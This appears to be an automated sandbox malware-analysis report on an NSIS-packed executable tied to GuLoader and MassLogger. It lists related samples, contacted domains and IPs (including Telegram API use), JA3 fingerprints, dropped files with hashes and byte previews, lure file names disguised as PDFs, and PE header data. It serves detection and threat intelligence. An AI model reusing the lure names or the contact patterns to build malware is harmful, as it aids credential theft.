	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	8kDIr4ZdNj.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	4iDzhJBJVv.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
reallyfreegeoip.org	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
api.telegram.org	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
TELEGRAMRU	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	EIvidclKOb.exe	Get hash	malicious	FormBook	Browse	172.67.137.47
	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	172.67.152.246
	wWXR5js3k2.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	psibx9rXra.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	bkTW1FbgHN.exe	Get hash	malicious	FormBook	Browse	104.21.7.187
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
3b5074b1b5d032e5620f69f9f700ff0e	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Y8Q1voljvb.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	142.250.181.238 142.250.185.193
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.238 142.250.185.193
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.238 142.250.185.193
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.238 142.250.185.193
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.238 142.250.185.193
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.181.238 142.250.185.193
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	142.250.181.238 142.250.185.193
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	142.250.181.238 142.250.185.193
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	142.250.181.238 142.250.185.193
	g7Mz6hLxqw.exe	Get hash	malicious	GuLoader	Browse	142.250.181.238 142.250.185.193

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Cleche.Kli

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	data
Category:	dropped
Size (bytes):	54682
Entropy (8bit):	4.600452681909532
Encrypted:	false
SSDEEP:	768:H/fkzniGiZdP67rzK21FpkUWPlLHv1AtVFWAelfx1WXVl8QO1WF:HE/fcU8BP4zWAIUXU6
MD5:	90B639DCC81998233C63FD5788661C84
SHA1:	33DA31F2E2D564717D235AE50988FB8431FB465F
SHA-256:	139EF02E2E13F995BB0458A55C728723FF2C7CA481D6815494364ECEFA8C102C
SHA-512:	88B9BE658E749B09336E98DA55C01462775E5574931F22000CC6AD10C0C6B9A9B1A8F1967C89F9BF5D3CF01097A3E90A8922825CEDF1DBF4DD965A3844641E3E
Malicious:	false
Reputation:	low
Preview:	.....TTT.*..JJJ...TTT.....ZZZZ...uuu..M....ff............WW...........&.V........................;;.....t.xxx.....w.........1............................................RRR.............J..........................;.....f..U.l.{{.bbb.........//......tt....""...}..........00....S.....................WWW........................".......^..........yy.......$........................................j.................\|.3..................+...................T.dd...A......v.??......lllll.jjj...............i..........4.....7........X...............................,....a.......OOOO.....................{{...>.........\|.w.....2................N.cc.nnn...uuuu..................................\|\|.tt.b....gg......f.......ZZZ.................'.....#..I......~~~~~~..pp......==.......p.........___.ccc..GGG...).QQ.............EEEE.....QQQ........4.///....!............888..........{{{{...'''..888..............t.....\|......w............................Z.7....%%%%%...........................DD.......W.).......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Halvbroderens.Bou

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	data
Category:	dropped
Size (bytes):	322504
Entropy (8bit):	7.699061460387586
Encrypted:	false
SSDEEP:	6144:AgqFXi1RsVq1UDXwo/6uHXpUMLYITDlT6kAncw7qiq5Vo:ALXiYVqywrMftT6Xh
MD5:	633B3B5C4D4A9C1704140BE89D1D74EF
SHA1:	835A23926B61BB3B26CB4EA9DADF9B6526AC14F7
SHA-256:	72FB238B5E3597B29EA9766D2DC9EED47208540FDDD63B82AD445BBE7899C18D
SHA-512:	69AE59004B0F9727CD476E25FD8B7555AC240857C56DB27CE616F016367BAE22616C5C40F164896340D7C215560BC26E63B07F0D222B137A9ACBB0CE67D87D57
Malicious:	false
Reputation:	low
Preview:	................!....wwwww......#..............}.........GG.tt.................................GG.......>..............................................\|.......................`.--........//..0......\..ZZZZZ.......V.....((... ............7777777........$$$$.....1.....:..............................A..b..11.........................7........=..p.............................$.........s........II.F..-...................q..EE...jj./..444..............xx.......rr..R........V..........###........`......}...........................z....O..444...{...)...............rr.mm........y.....>>...........hh......##....hh.........,,......g......E.e.............................C....5....a.....fff..........'.......................2.......d................////.........Z......3...........''''............\|\|\|\|.//...................................................s.....,................................................k...................................JJ....8.MMMMMM....................................L........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ppISxhDcpF.exe, Detection: malicious, Browse Filename: m0CZ8H4jfl.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-090971819130-24_pdf.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE 750013-1012449943-81347-pdf.exe, Detection: malicious, Browse Filename: PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: RFQ December-January Forcast and TCL.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-0909718-24_pdf.exe, Detection: malicious, Browse Filename: SWIFT091816-24_pdf.exe, Detection: malicious, Browse Filename: REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\FILHKLtCw0.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1178
Entropy (8bit):	3.276421799437869
Encrypted:	false
SSDEEP:	12:8wl0+sXU1e/tz0/CSL6/cBnwgXl341DEDeG41DEDpQ1olfW+kjcmAaFW0CNfBf4U:8FvWLrFPjPCizZMFWjqy
MD5:	DF5140E59115FC4E34050475B8C00DCC
SHA1:	4C1AD71F97C9285B44FF0C4EC07D26D89B3DA983
SHA-256:	DA98616213F4AEB00FBDF816C5D2C3AAF4481B7194D97328CB7F1F95362B9152
SHA-512:	CC8FB8E0DF850568E2CD301BBC8C7EC084BDB0C0E1836EA7F3F1F37770C0B21802E74DB47B717AB00FC8E49731365CD46481351450C66F822E8961C0B7692094
Malicious:	false
Preview:	L..................F........................................................q....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.X.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.\.B.u.f.a.g.i.n.............}..........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.962958887068319
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FILHKLtCw0.exe
File size:	475'326 bytes
MD5:	a2c795a981ddc798d11ec6e3ade42301
SHA1:	e650b31efaf33eaf34f92fea24e56d130d91a1f9
SHA256:	12ba9e377bd0dd9470038a28d9c076d28bd8e4bc9c419148a7ae4c20b7a831ba
SHA512:	cd32d017a2953f3a9469a1f1d755b00a7a9fe3e41189097e75d3afebc575a10af41ad80cdda164da7563a2a88ccb9ce28851edaea4b14989f584996b464916e1
SSDEEP:	12288:I5AsEOYEZGb7d790c5Y3mXxhseRb4C7RMbqgIsgRwu7Jj1JK8s5FEeKH:ZYY103oxhJb4s4IsgRwu7Jj1Jiceu
TLSH:	D9A423802661C193E4A35F390C62AFF73AFBF31158186F5792989E842DB37C2C97B255
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007F6C68BA3023h
push ebp
call 00007F6C68BA6166h
cmp eax, ebp
je 00007F6C68BA3019h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007F6C68BA60E3h
push 0040A2ECh
call 00007F6C68BA60D9h
push 0040A2E0h
call 00007F6C68BA60CFh
push 00000009h
call 00007F6C68BA6134h
push 00000007h
call 00007F6C68BA612Dh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007F6C68BA5D1Ah
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007F6C68BA5D08h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
